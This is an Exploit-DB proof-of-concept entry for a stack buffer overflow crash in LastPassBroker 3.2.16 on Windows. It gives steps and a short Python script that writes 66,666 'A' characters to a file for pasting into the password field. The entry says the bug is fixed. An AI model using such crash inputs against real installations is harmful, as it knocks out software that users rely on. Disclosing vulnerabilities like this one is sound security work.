Last PassBroker 3.2.16 - Stack Buffer Overflow (PoC)

EDB-ID:

38405

CVE:



Author:

Un_N0n

Type:

dos


Platform:

Windows

Date:

2015-10-06


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'''
********************************************************************************************
# Exploit Title: Last PassBroker Stack-based BOF
# Date: 9/23/2015
# Exploit Author: Un_N0n
# Software Link: https://lastpass.com/download
# Version: 3.2.16
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************

[Steps to Produce the Crash]:
1- open 'LastPassBroker.exe'.
2- A Input-Box will appear asking for Email and Password,
   In password field paste in the contents of crash.txt
3- Hit Login.
~Software will Crash.

[Code to produce crash.txt]: 
'''
junk = "A"*66666
file = open("CRASH.txt",'w')
file.write(junk)
file.close()

'''
> Vendor Notified, Fixed in latest Release.
**********************************************************************************************
'''